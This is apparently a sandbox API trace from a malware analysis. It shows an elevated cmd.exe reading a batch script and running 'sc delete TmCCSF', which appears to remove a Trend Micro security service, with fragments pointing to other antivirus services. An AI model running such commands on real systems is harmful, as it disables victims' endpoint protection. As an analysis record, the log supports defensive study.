SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.782] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.782] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0073.782] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.782] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.782] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.782] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0073.782] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.783] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.783] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.783] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0073.783] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.783] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.783] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.783] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="TSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0073.783] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.783] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.783] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.783] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="mApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0073.783] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.783] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.783] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.783] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="CpiNt\nanService\ne\n\n\nA\"\n") returned 1 [0073.783] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.783] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.783] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.783] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="CiNt\nanService\ne\n\n\nA\"\n") returned 1 [0073.783] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.783] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.784] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.784] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="SNt\nanService\ne\n\n\nA\"\n") returned 1 [0073.784] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.784] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.784] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.784] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="Ft\nanService\ne\n\n\nA\"\n") returned 1 [0073.784] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.784] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.784] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.784] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="\n\nanService\ne\n\n\nA\"\n") returned 1 [0073.784] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.784] GetFileType (hFile=0xb8) returned 0x3 [0073.784] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.784] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.785] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.785] GetFileType (hFile=0x120) returned 0x3 [0073.785] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.785] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete TmCCSF\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete TmCCSF\n", lpUsedDefaultChar=0x0) returned 18 [0073.785] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x11, lpOverlapped=0x0) returned 1 [0073.785] GetProcessHeap () returned 0x4a0000 [0073.785] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4e8630 [0073.785] GetProcessHeap () returned 0x4a0000 [0073.785] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e8630 | out: hHeap=0x4a0000) returned 1 [0073.785] GetProcessHeap () returned 0x4a0000 [0073.785] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0073.785] GetProcessHeap () returned 0x4a0000 [0073.785] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0073.785] GetProcessHeap () returned 0x4a0000 [0073.785] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2e) returned 0x4b6510 [0073.785] GetConsoleOutputCP () returned 0x1b5 [0073.785] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0073.785] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.786] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.786] GetProcessHeap () returned 0x4a0000 [0073.786] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0073.786] GetProcessHeap () returned 0x4a0000 [0073.786] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x34) returned 0x4b6550 [0073.786] GetProcessHeap () returned 0x4a0000 [0073.786] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc530 [0073.786] SetErrorMode (uMode=0x0) returned 0x1 [0073.786] SetErrorMode (uMode=0x1) returned 0x0 [0073.786] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc540, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0073.786] SetErrorMode (uMode=0x1) returned 0x1 [0073.786] GetProcessHeap () returned 0x4a0000 [0073.786] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc530, Size=0x62) returned 0x4bc530 [0073.786] GetProcessHeap () returned 0x4a0000 [0073.786] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc530) returned 0x62 [0073.786] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0073.787] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0073.787] GetProcessHeap () returned 0x4a0000 [0073.787] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0073.787] GetProcessHeap () returned 0x4a0000 [0073.787] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0073.787] GetProcessHeap () returned 0x4a0000 [0073.787] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0073.787] GetProcessHeap () returned 0x4a0000 [0073.787] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0073.787] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0073.787] GetProcessHeap () returned 0x4a0000 [0073.787] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0073.787] GetProcessHeap () returned 0x4a0000 [0073.787] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0073.787] GetProcessHeap () returned 0x4a0000 [0073.787] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0073.787] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.787] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.787] GetLastError () returned 0x2 [0073.787] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.788] GetLastError () returned 0x2 [0073.788] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.788] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0073.788] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0073.788] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.788] GetLastError () returned 0x2 [0073.788] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0073.788] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0073.788] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.789] GetProcessHeap () returned 0x4a0000 [0073.789] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0073.789] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.789] GetProcessHeap () returned 0x4a0000 [0073.789] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0x9a) returned 0x4b9180 [0073.789] GetProcessHeap () returned 0x4a0000 [0073.789] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0x9a [0073.789] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete TmCCSF") returned 1 [0073.789] GetProcessHeap () returned 0x4a0000 [0073.789] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0073.789] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0073.790] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0073.790] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0073.790] GetProcessHeap () returned 0x4a0000 [0073.790] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0073.790] GetProcessHeap () returned 0x4a0000 [0073.790] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0073.790] GetProcessHeap () returned 0x4a0000 [0073.790] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0073.790] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete TmCCSF", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete TmCCSF", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete TmCCSF", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0x9b4, dwThreadId=0x9e4)) returned 1 [0073.794] CloseHandle (hObject=0x54) returned 1 [0073.794] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0073.794] GetProcessHeap () returned 0x4a0000 [0073.794] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0073.794] GetEnvironmentStringsW () returned 0x4bba10* [0073.794] GetProcessHeap () returned 0x4a0000 [0073.794] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0073.794] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0073.794] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0073.794] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffda000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0073.794] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0073.841] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0073.841] CloseHandle (hObject=0x50) returned 1 [0073.841] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0073.841] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0073.841] GetProcessHeap () returned 0x4a0000 [0073.841] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0073.841] GetEnvironmentStringsW () returned 0x4c1b10* [0073.841] GetProcessHeap () returned 0x4a0000 [0073.841] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0073.841] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.841] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0073.841] GetProcessHeap () returned 0x4a0000 [0073.841] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0073.841] GetEnvironmentStringsW () returned 0x4bba10* [0073.841] GetProcessHeap () returned 0x4a0000 [0073.841] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0073.841] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0073.841] GetProcessHeap () returned 0x4a0000 [0073.841] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0073.841] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0073.841] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0073.842] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.842] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0073.842] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.842] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0073.842] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.842] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0073.842] GetConsoleOutputCP () returned 0x1b5 [0073.842] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0073.842] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.842] GetProcessHeap () returned 0x4a0000 [0073.842] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0073.843] GetProcessHeap () returned 0x4a0000 [0073.843] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0073.843] GetProcessHeap () returned 0x4a0000 [0073.843] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0073.843] GetProcessHeap () returned 0x4a0000 [0073.843] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc530 | out: hHeap=0x4a0000) returned 1 [0073.843] GetProcessHeap () returned 0x4a0000 [0073.843] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6550 | out: hHeap=0x4a0000) returned 1 [0073.843] GetProcessHeap () returned 0x4a0000 [0073.843] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0073.843] GetProcessHeap () returned 0x4a0000 [0073.843] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0073.843] GetProcessHeap () returned 0x4a0000 [0073.843] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0073.843] GetProcessHeap () returned 0x4a0000 [0073.843] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0073.843] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0073.843] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.843] GetFileType (hFile=0x120) returned 0x3 [0073.843] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.843] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0073.843] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0073.843] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0073.843] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0073.843] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0073.843] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0073.843] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.843] GetFileType (hFile=0x120) returned 0x3 [0073.843] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.843] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0073.843] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0073.844] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.844] GetFileType (hFile=0xb8) returned 0x3 [0073.844] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.844] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.844] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.844] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0073.844] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.844] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.844] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.844] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0073.844] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.844] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.844] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, 